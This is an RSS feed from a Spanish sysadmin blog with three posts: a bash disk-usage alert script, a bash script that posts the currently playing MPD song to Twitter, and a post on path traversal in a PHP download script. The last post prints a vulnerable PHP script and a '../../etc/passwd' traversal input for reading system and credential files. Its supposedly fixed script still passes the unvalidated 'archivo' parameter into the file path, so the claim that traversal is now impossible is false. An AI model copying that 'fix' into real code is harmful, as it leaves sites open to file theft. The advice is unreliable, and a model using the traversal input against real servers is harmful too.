<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; Programación</title>
	<atom:link href="http://blog.zerial.org/category/programacion/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 20 Jul 2010 18:13:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Script monitor de sistemas de archivos y particiones</title>
		<link>http://blog.zerial.org/linux/script-monitor-de-sistemas-de-archivos-y-particiones/</link>
		<comments>http://blog.zerial.org/linux/script-monitor-de-sistemas-de-archivos-y-particiones/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 19:15:42 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[filesystems]]></category>
		<category><![CDATA[herramientas]]></category>
		<category><![CDATA[monitor]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1782</guid>
		<description><![CDATA[Existen herramientas que nos permiten monitorear distintas cosas en un parque de servidores, como Zabbix, Nagios, etc. Pero hay veces que no es posible, ya sea por recursos o por tiempo, implementar una solución de monitoreo de alto nivel, por lo que recurrimos a los scrtips. Estoy seguro que bash, las llaves publicas y privadas [...]]]></description>
			<content:encoded><![CDATA[<p>Existen herramientas que nos permiten monitorear distintas cosas en un parque de servidores, como Zabbix, Nagios, etc. Pero hay veces que no es posible, ya sea por recursos o por tiempo, implementar una solución de monitoreo de alto nivel, por lo que recurrimos a los scrtips. Estoy seguro que bash, las llaves publicas y privadas para la autentificación, y cron son unos de nuestros mejores amigos al momento de querer monitorear o administrar máquinas simultaneamente.</p>
<p>Con <strong>du</strong> podemos saber el uso de disco de nuestro sistema y con un pequeño script en bash podemos mejorar la salida de este comando.</p>
<p><code>ssh 10.0.0.56 -p5022 "df -hPl"|awk -F ' ' '{print $1,$4,$6,$5}' |egrep -v "Avail|Dispo|Use|Use"</code></p>
<p>Esto nos devuelve en 4 columnas el dispositivo, espacio disponible, punto de montaje y porcentaje usado.</p>
<p>Algo similar a:</p>
<blockquote><p>/dev/mapper/VolGroup_25980-LogVol1 3.5G / 75%<br />
/dev/sda1 80M /boot 16%<br />
none 16G /dev/shm 0%<br />
/dev/mapper/VolGroup_25980-LogVolHome 30G /home 69%<br />
/dev/mapper/VolGroup_25980-LogVol2 4.6G /tmp 1%<br />
/dev/mapper/VolGroup_25980-LogVol5 6.6G /usr 29%<br />
/dev/mapper/VolGroup_25980-LogVol4 14G /var 87%<br />
/dev/mapper/VolGroup_25980-mysql 7.0G /var/lib/mysql 63%</p></blockquote>
<p><span id="more-1782"></span></p>
<p>Mi idea es trabajar con <em>threshold</em> (umbral) y gatillar eventos según el umbral alcanzado. Por ejemplo, con un threshold del 80% asociado al porcentaje utilizado, que envie emails de &#8220;advertencias&#8221; y con el 90% notificaciones de &#8220;criticidad del sistema de archivos&#8221;. Lo que querìa lograr era que todos los dias se monitoreen los sistemas de archivos, generando reportes <strong>diarios</strong> de los sistemas criticos y, <strong>semanalmente</strong>, un reporte general, donde me muestre detalladamente los &#8220;normales&#8221;, &#8220;advertencias&#8221; y los &#8220;criticos&#8221;. La salida esperada es algo asi:</p>
<blockquote><p>[+] Server: x.x.x.x (x.hostname)<br />
[-] [Dev:/dev/hda2] [Mount:/] [Free:4.2G] [Used:5%]</p>
<p>[-] [Dev:/dev/hda1] [Mount:/boot] [Free:83M] [Used:11%]</p>
<p>[-] [Dev:/dev/hda3] [Mount:/home] [Free:3.6G] [Used:19%]</p>
<p>[-] [Dev:/dev/hda6] [Mount:/tmp] [Free:1.7G] [Used:1%]</p>
<p>[-] [Dev:/dev/hda5] [Mount:/usr] [Free:8.6G] [Used:3%]</p>
<p>[-] [Dev:/dev/hda7] [Mount:/var] [Free:12G] [Used:21%]</p>
<p>No critical filesystems</p></blockquote>
<p>[...] cuando <strong>no</strong> hay sistemas de archivos criticos y,</p>
<blockquote><p>
[+] Server: y.y.y.y (y.hostname)<br />
[-] [Dev:/dev/mapper/VolGroup00-LogVol00] [Mount:/] [Free:16G] [Used:14%]</p>
<p>[-] [Dev:/dev/sda1] [Mount:/boot] [Free:80M] [Used:15%]</p>
<p>[-] [Dev:/dev/shm] [Mount:/dev/shm] [Free:2.0G] [Used:0%]</p>
<p>[-] [Dev:/dev/mapper/VolGroup00-LogVol02] [Mount:/var] [Free:7.4G] [Used:74%]</p>
<p>[-] [Dev:/dev/mapper/VolGroup00-LogVol03] [Mount:/backup] [Free:13G] [Used:66%]</p>
<p>[-] [Dev:/dev/mapper/VolGroup00-LogVol04] [Mount:/home] [Free:6.6G] [Used:93%] [***CRITICAL***]</p>
<p>[-] [Dev:/dev/mapper/VolGroup00-LogVol05] [Mount:/usr/local] [Free:7.3G] [Used:89%] [***WARNING***]</p></blockquote>
<p>cuando hay criticos y cuando hay emergencias, es decir, cuando se alcanza el umbral del 90% y 80%, respectivamente.</p>
<p>El script que hice es el siguiente:</p>
<pre name="code" class="c">#/bin/bash -e
warning_threshold="80%"
critical_threshold="90%"

warnings=0;
critical=0;
for host in $(grep -v ^# ips.txt);
do
	critical_count=0;
	hostname=$(echo -n $host|cut -f1 -d ":")
        ip=$(echo -n $host|cut -f2 -d ":")
        port=$(echo -n $host|cut -f3 -d ":")
	echo "\n[+] Server: $ip ($hostname)"
	filesystems=$(ssh $ip -p$port "df -Phl"|egrep -v 'Avail|Dispo|tmpfs|udev|Uso|Use'|awk -F ' ' '{print $6}');
	for FS in $filesystems;
	do
		alert="";
		temp=$(ssh $ip -p$port "df -hPl $FS"|awk -F ' ' '{print $1,$4,$6,$5}' |egrep -v 'Avail|Dispo|Uso|Use');
		dev=$(echo $temp |cut -f1 -d " ");
		mountpoint=$(echo $temp |cut -f3 -d " ");
		size=$(echo $temp |cut -f2 -d " ");
		used=$(echo $temp |cut -f4 -d " ");
		_wthreshold=$(echo -n $warning_threshold |sed 's/%//g');
		_cthreshold=$(echo -n $critical_threshold |sed 's/%//g');
		_used=$(echo -n $used |sed 's/%//g');
		case "$1" in
			weekly)
				if [ $_used -gt $_wthreshold ]; then
                                        alert="[***WARNING***]"; warning=$(expr $warning + 1);
                                fi
				if [ $_used -gt $_cthreshold ]; then
					alert="[***CRITICAL***]"; critical=$(expr $critical + 1);
				fi
				echo "[-] [Dev:$dev] [Mount:$mountpoint] [Free:$size] [Used:$used] $alert";
				echo "";
			;;
			daily)
                                if [ $_used -gt $_cthreshold ]; then
                                        alert="[***CRITICAL***]";
					critical_count=$(expr $critical_count + 1);
                                	echo "[-] [Dev:$dev] [Mount:$mountpoint] [Free:$size] [Used:$used] $alert";
					echo "";
				fi
			;;
		esac
	done
	if [ $critical_count -eq 0 ]; then
		echo "No critical filesystems"
		critical_count=0;
	fi
done
if [ "$1" = "weekly" ]; then
	echo "________________"
	echo "Warnings: $warning\t|";
	echo "Criticals: $critical\t|";
fi</pre>
<p>Para que el script funcione, es necesario que en la misma ruta donde se encuentra, exista el archivo <em>ips.txt</em> que debe tener, bajo la sintaxis <strong>hostname:ip:port</strong>, la información para que el script se conecté por ssh a las máquinas. Para que sea más dinámico y no requiera la intervención de un humano, la máquina donde se ejecutará el script debe tener una llave privada cuya llave publica esté repartida en los servidores que se desean monitorear.<br />
El script necesita un argumento para funcionar, puede ser &#8220;weekly&#8221; o &#8220;daily&#8221;, segun se necesite. Con daily el script genera reportes donde mostrará solamente los criticos, mientras que con weekly hará un reporte general.</p>
<p>En el cron tengo agregado que <strong>todos los dias a las 9AM, haga un reporte diario</strong> y <strong>todos los lunes a las 8AM uno general (weekly)</strong> y los envie por correo a los responsables.</p>
<blockquote><p> 8 * * 1 cd /root/du_alert; sh alert.sh weekly |mail -s &#8220;Weekly Disk Usage Status&#8221; encargado@dominio.cl &#8212; -F &#8220;System Administrator&#8221;<br />
0 9 * * * cd /root/du_alert; sh alert.sh daily |mail -s &#8220;Daily Disk Usage Status&#8221; encargado@dominio.cl &#8212; -F &#8220;System Administrator&#8221;</p></blockquote>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fscript-monitor-de-sistemas-de-archivos-y-particiones%2F&amp;linkname=Script%20monitor%20de%20sistemas%20de%20archivos%20y%20particiones" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fscript-monitor-de-sistemas-de-archivos-y-particiones%2F&amp;linkname=Script%20monitor%20de%20sistemas%20de%20archivos%20y%20particiones" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fscript-monitor-de-sistemas-de-archivos-y-particiones%2F&amp;linkname=Script%20monitor%20de%20sistemas%20de%20archivos%20y%20particiones" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fscript-monitor-de-sistemas-de-archivos-y-particiones%2F&amp;linkname=Script%20monitor%20de%20sistemas%20de%20archivos%20y%20particiones" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fscript-monitor-de-sistemas-de-archivos-y-particiones%2F&amp;linkname=Script%20monitor%20de%20sistemas%20de%20archivos%20y%20particiones" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fscript-monitor-de-sistemas-de-archivos-y-particiones%2F&amp;linkname=Script%20monitor%20de%20sistemas%20de%20archivos%20y%20particiones" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fscript-monitor-de-sistemas-de-archivos-y-particiones%2F&amp;linkname=Script%20monitor%20de%20sistemas%20de%20archivos%20y%20particiones" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fscript-monitor-de-sistemas-de-archivos-y-particiones%2F&amp;linkname=Script%20monitor%20de%20sistemas%20de%20archivos%20y%20particiones">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/script-monitor-de-sistemas-de-archivos-y-particiones/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>mpd-twitter: Publicar en twitter lo que estas escuchando</title>
		<link>http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/</link>
		<comments>http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 19:56:18 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[archlinux]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[mpc]]></category>
		<category><![CDATA[mpd]]></category>
		<category><![CDATA[music player daemon]]></category>
		<category><![CDATA[pkgbuild]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[twtiter]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1370</guid>
		<description><![CDATA[Ultimamente he estado usando el Music Player Daemon (MPD) para escuchar música. Tambien me he dado cuenta que en Twitter hace varios días está de trending topic el hashtag #nowplaying, donde la gente publica lo que está escuchando. En base a ésto y a un poco de imaginación y tiempo libre, cree un script en [...]]]></description>
			<content:encoded><![CDATA[<p>Ultimamente he estado usando el <a href="http://mpd.wikia.com/" target="_blank">Music Player Daemon (MPD)</a> para escuchar música. Tambien me he dado cuenta que en Twitter hace varios días está de <a href="http://twitter.com/#search?q=%23nowplaying" target="_blank"><em>trending topic</em> el hashtag #nowplaying</a>, donde la gente publica lo que está escuchando. En base a ésto y a un poco de imaginación y tiempo libre, cree un script en bash que me permite publicar lo que estoy escuchando.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/shot_nowplaying.png"><img class="aligncenter size-full wp-image-1371" title="shot_nowplaying" src="http://blog.zerial.org/wp-content/uploads/2010/01/shot_nowplaying.png" alt="" width="600" height="200" /></a></p>
<p>El script, llamado <a href="http://dev.zerial.org/mpd-twitter" target="_blank">mpd-twitter</a>,  usa el cliente <strong>mpc</strong> para conectarse a <strong>mpd</strong> y obtener el artista y nombre de la reproducción actual, hacer el <em>parseo</em> necesario y posteriormente publica un estado en twitter.</p>
<p><span id="more-1370"></span></p>
<pre name="code" class="c">
#!/bin/bash
#
# Author: Zerial <fernando @zerial.org>
# Version: 0.1
# URL: http://dev.zerial.org/mpd-twitter
# License: GPL
#

CONF_FILE=$HOME/.mpd-twitter
USER=$(grep ^USERNAME $CONF_FILE |cut -f 2 -d "=")
PASS=$(grep ^PASSWORD $CONF_FILE |cut -f 2 -d "=")

if [ -f $CONF_FILE ]; then
	BEFORE=$(grep ^BEFORE $CONF_FILE |cut -f 2 -d "=")
	AFTER=$(grep ^AFTER $CONF_FILE |cut -f 2 -d "=")
else
	Xdialog --title "Error" --beep --msgbox "Can't read your local config file. Please copy the /usr/local/share/mpd-twitter/mpd-twitter.local to $HOME/.mpd-twitter" 200 100
	exit
fi

CURRENT_SONG=$(mpc current)
MY_UPDATE="$BEFORE $CURRENT_SONG $AFTER"

curl -u "$USER:$PASS" -d "status=$MY_UPDATE" -d "source=mpd-twit" "http://twitter.com/statuses/update.json"
exit
</fernando></pre>
<p>El archivo de configuración, que debe estar ubicado en <strong>~/.mpd-twitter</strong>, es:</p>
<pre name="code" class="c">
#
# Local Config file for mpd-twitter
#
#
# Config the username and password
#
USERNAME=your_username
PASSWORD=your_password
#
# Text before and text after the song.
# example:
# if BEFORE=Listening and AFTER=(powered by xxx)
# mpd-twitter will send "Listening <current song> (powered by xxx)"
#
BEFORE=#nowplaying
AFTER=(powered by mpd)
</current></pre>
<p>Para los usuarios de Archlinux que quieran probarlo, he creado un PKGBUILD:</p>
<pre name="code" class="php">
# Contributor: Zerial <fernando @zerial.org>
pkgname=mpd-twitter
pkgver=0.1
pkgrel=4
pkgdesc="Publish on twitter what you are listening on MPD"
arch=('i686' 'x86_64')
url="http://dev.zerial.org/mpd-twitter"
license=('GPL')
depends=('xdialog' 'curl' 'mpc')
source=(http://dev.zerial.org/mpd-twitter/${pkgname}_${pkgver}.tar.gz)
md5sums=('3d73b79fa38bd60f637386146137999b')

build(){
	cd $startdir/src/$pkgname
	install -d $startdir/pkg/usr/local/share/mpd-twitter
	mkdir $startdir/pkg/usr/bin
	install -m744 $startdir/src/$pkgname/mpd-twitter.local $startdir/pkg/usr/local/share/mpd-twitter/
	install -m755 $startdir/src/$pkgname/mpd-twitter $startdir/pkg/usr/bin/
}
</fernando></pre>
<p>Tambien lo pueden encontrar <a href="http://aur.archlinux.org/packages.php?ID=33483">en el repositorio AUR</a>.</p>
<p>La idea es lanzar el script con algun hotkey de nuestro gestor de ventanas y asi, cada véz que quieras mostrar lo que estás escuchando, simplemente precionas la combinacion de teclas que configuraste. Por ejemplo, en DWM la he configurado asi:</p>
<pre name="code" class="c">
[...]
/* commands */
static const char *mpdtwittercmd[] = { "mpd-twitter", NULL };
static Key keys[] = {
[...]
      { MODKEY|ShiftMask,                     XK_t,   spawn,  {.v = mpdtwittercmd } },
[...]
</pre>
<p>De esta forma, cada vez que presiono Alt+Shift + T, aparece en twitter lo que estoy escuchando.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cómo validar correctamente la descarga de un archivo en php</title>
		<link>http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/</link>
		<comments>http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 13:10:22 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[directory transversal]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1009</guid>
		<description><![CDATA[Este post es debido a un correo que recibí preguntando como evitar el full path disclosure y el directory transversal desde un fichero php que realiza descargas. El error que plantearé a continuación es muy común en muchos sistemas web y ya he publicado varias webs vulnerables con este mismo problema. Corresponde a la forma [...]]]></description>
			<content:encoded><![CDATA[<p>Este post es debido a un correo que recibí preguntando como evitar el full path disclosure y el directory transversal desde un fichero php que realiza descargas. El error que plantearé a continuación es muy común en muchos sistemas web y ya he publicado varias webs vulnerables con este mismo problema. Corresponde a la forma de descarga tipo <strong>download.php?dir=ficheros/&amp;file=test.pdf</strong>.</p>
<p><img class="aligncenter size-full wp-image-1010" title="secure" src="http://blog.zerial.org/wp-content/uploads/2009/10/secure.png" alt="secure" width="419" height="122" /></p>
<p>Con una URL de este tipo, es posible forzar un FPD modificando las variables &#8220;dir&#8221; y &#8220;test&#8221;, cambiadolas por cualquier cosa que sepamos que no existe y de esta forma obtendremos un fichero php con un error, el cual nos revelará el path de la aplicación. Si cambiamos el valor de la variable &#8220;dir&#8221; a &#8220;../../../../../../etc/&#8221; y &#8220;file&#8221; a &#8220;passwd&#8221;, es muy probable que nos deje descargar el fichero <em>/etc/passwd</em>, lo mismo con cualquier otro fichero. De esta misma forma, podemos ir descargando uno a uno los códigos fuentes del sistema php y poder acceder a los usuarios y claves de conexion a la base de datos y otro tipo de información confidencial.</p>
<p><span id="more-1009"></span></p>
<p>Me voy a basar en casos reales y tomando como ejemplo los típicos errores e irresponsabilidades de programación de los desarrolladores.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$nombre</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>; <span class="co1">// Nombre del archivo</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$contenido</span> = <span class="st0">&#8216;Texto del archivo&#8217;</span>; <span class="co1">// Contenido del archivo</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$enlace</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;folder&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Disposition: attachment; filename=&quot;</span>.<span class="re0">$nombre</span>.<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Type: application/octet-stream&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Length: &quot;</span>.<a href="http://www.php.net/filesize"><span class="kw3">filesize</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/readfile"><span class="kw3">readfile</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Este es un script que me descargué hace un tiempo y no recuerdo de que sitio, pero es un ejemplo real y lo más probable es que aún esté en línea. Si nos fijamos línea por línea, el script realiza lo siguiente:</p>
<p>Lee las variables directamente desde la URL (GET) y en primera instancia, obtiene el valor de la variable &#8220;nombre&#8221; y se la asigna a $nombre, esto es para darle el nombre al archivo una vez que lo descarguemos. Luego, en la variable $enlace, guardará el path completo de lo que deseamos descargar, si le pasamos por URL los parametros <strong>folder=archivos/&#038;archivo=test.pdf</strong>, el valor de la variable $enlace será &#8220;archivos/test.pdf&#8221;. Luego se enviarle las cabeceras al navegador, el script php leerá el fichero correspondiente al valor de la variable $enlace y forzará al navegador a descargarlo. De esta forma, si modificamos la url a nuestro modo, podremos descargar el fichero que queramos, ya que el script no tiene <strong>ninguna</strong> validación.</p>
<p>La forma correcta para hacer un script de este tipo, sería sin trabajar directamente con los parametros pasados por url y tenerlos encapsulados en algun lugar, ya sea en una base de datos, un switch o como sea, pero nunca directamente o bien, teniendo definido de forma explícita el directorio donde se trabaja.<br />
Si tomamos el mismo ejemplo anterior y lo corregimos, debería quedar algo así:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$folder</span> = <span class="st0">&quot;archivos_para_descargar&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$nombre</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>; <span class="co1">// Nombre del archivo</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$contenido</span> = <span class="st0">&#8216;Texto del archivo&#8217;</span>; <span class="co1">// Contenido del archivo</span></div>
</li>
<li class="li2">
<div class="de2"><span class="re0">$enlace</span> = <span class="re0">$folder</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Disposition: attachment; filename=&quot;</span>.<span class="re0">$nombre</span>.<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Type: application/octet-stream&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Length: &quot;</span>.<a href="http://www.php.net/filesize"><span class="kw3">filesize</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/readfile"><span class="kw3">readfile</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>De esta forma, jamás podremos cambiar el valor de la variable &#8220;$folder&#8221; y nunca podremos descargar un fichero que esté detrás del directorio de descarga explícitamente definido &#8220;archivos_para_descarga&#8221;. Esto, sería una forma rápida y fácil de solucionarlo, pero creo que la mejor forma es volver a hacerlo y hacerlo bien. Teniendo un &#8220;administrador&#8221; de subidas que almacene la información en una base de datos para luego realizar la descarga sólo con el ID del fichero o bien, hacer las descargas directamente con su path absoluto (<em>http://sitio.com/archivos_para_descarga/2009/mi_documento.pdf</em>).</p>
<p>Como ya he dicho, este error es muy común y basta con preparar una búsqueda con los parámetros necesarios en Google para poder acceder a sitios con estas vulnerabilidades. El problema es que con este bug, no solo comprometes la seguridad de tu sistema y de tu usuario, tambien la seguridad del resto de los usuarios del servidor, ya que el script se ejecutará como usuario <em>www-data</em> o <em>apache</em> (en la mayoría de los servidores) y tiene acceso no solo a tus ficheros.</p>
